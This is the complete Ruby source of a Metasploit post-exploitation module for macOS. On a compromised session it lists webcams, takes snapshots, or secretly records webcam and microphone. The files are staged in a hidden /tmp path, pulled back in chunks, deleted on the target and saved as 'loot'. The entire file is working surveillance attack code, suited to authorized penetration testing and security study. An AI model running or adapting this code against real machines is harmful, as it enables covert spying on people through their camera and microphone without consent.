metasploit-gs/modules/post/osx/manage/webcam.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'shellwords'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report
  include Msf::Post::OSX::RubyDL

  POLL_TIMEOUT = 120

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OSX Manage Webcam',
        'Description' => %q{
          This module will allow the user to detect installed webcams (with
          the LIST action), take a snapshot (with the SNAPSHOT action), or
          record a webcam and mic (with the RECORD action)
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'joev'],
        'Platform' => [ 'osx'],
        'SessionTypes' => [ 'shell' ],
        'Actions' => [
          [ 'LIST', { 'Description' => 'Show a list of webcams' } ],
          [ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ],
          [ 'RECORD', { 'Description' => 'Record with the webcam' } ]
        ],
        'DefaultAction' => 'LIST'
      )
    )

    register_options(
      [
        OptInt.new('CAMERA_INDEX', [true, 'The index of the webcam to use. `set ACTION LIST` to get a list.', 0]),
        OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
        OptString.new('JPG_QUALITY', [false, 'The compression factor for snapshotting a jpg (from 0 to 1)', '0.8']),
        OptString.new('TMP_FILE',
                      [true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']),
        OptBool.new('AUDIO_ENABLED', [false, 'Enable audio when recording', true]),
        OptString.new('AUDIO_COMPRESSION',
                      [true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']),
        OptString.new('VIDEO_COMPRESSION',
                      [true, 'Compression type to use for video', 'QTCompressionOptionsSD480SizeH264Video']),
        OptEnum.new('SNAP_FILETYPE',
                    [true, 'File format to use when saving a snapshot', 'png', %w[jpg png gif tiff bmp]]),
        OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
        OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
      ]
    )
  end

  def run
    fail_with(Failure::BadConfig, 'Invalid session ID selected.') if client.nil?
    fail_with(Failure::BadConfig, 'Invalid action') if action.nil?

    num_chunks = (datastore['RECORD_LEN'].to_f / datastore['SYNC_WAIT'].to_f).ceil
    tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) + '1' }
    ruby_cmd = osx_capture_media(
      action: action.name.downcase,
      snap_filetype: datastore['SNAP_FILETYPE'],
      audio_enabled: datastore['AUDIO_ENABLED'],
      video_enabled: true,
      num_chunks: num_chunks,
      chunk_len: datastore['SYNC_WAIT'],
      video_device: datastore['CAMERA_INDEX'],
      audio_device: datastore['MIC_INDEX'],
      snap_jpg_compression: datastore['JPG_QUALITY'].to_f,
      video_compression: datastore['VIDEO_COMPRESSION'],
      audio_compression: datastore['AUDIO_COMPRESSION'],
      record_file: tmp_file,
      snap_file: tmp_file + datastore['SNAP_FILETYPE']
    )

    output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
    if action.name =~ /list/i
      print_good output
    elsif action.name =~ /record/i
      @pid = output.to_i
      print_status "Running record service with PID #{@pid}"
      (0...num_chunks).each do |i|
        # wait SYNC_WAIT seconds
        print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
        Rex.sleep(datastore['SYNC_WAIT'])
        # start reading for file
        begin
          ::Timeout.timeout(poll_timeout) do
            loop do
              if File.exist?(tmp_file)
                # read file
                contents = File.read(tmp_file)
                # delete file
                rm_f(tmp_file)
                # roll filename
                base = File.basename(tmp_file, '.*') # returns it with no extension
                num = ((base.match(/\d+$/) || ['0'])[0].to_i + 1).to_s
                ext = File.extname(tmp_file) || 'o'
                tmp_file = File.join(File.dirname(tmp_file), base + num + '.' + ext)
                # store contents in file
                title = 'OSX Webcam Recording ' + i.to_s
                f = store_loot(title, 'video/mov', session, contents,
                               "osx_webcam_rec#{i}.mov", title)
                print_good "Record file captured and saved to #{f}"
                print_status 'Rolling movie file. '
                break
              else
                Rex.sleep(0.3)
              end
            end
          end
        rescue ::Timeout::Error
          fail_with(Failure::TimeoutExpired, 'Client did not respond to new file request, exiting.')
        end
      end
    elsif action.name =~ /snap/i
      if output.include?('(RuntimeError)')
        print_error output
        return
      end

      snap_type = datastore['SNAP_FILETYPE']
      img = read_file(tmp_file + snap_type)
      f = store_loot('OSX Webcam Snapshot', "image/#{snap_type}",
                     session, img, "osx_webcam_snapshot.#{snap_type}", 'OSX Webcam Snapshot')
      print_good "Snapshot successfully taken and saved to #{f}"
    end
  end

  def cleanup
    return unless @cleaning_up.nil?

    @cleaning_up = true

    if action.name =~ (/record/i) && !@pid.nil?
      print_status('Killing record service...')
      cmd_exec("/bin/kill -9 #{@pid}")
    end
  end

  private

  def poll_timeout
    POLL_TIMEOUT
  end
end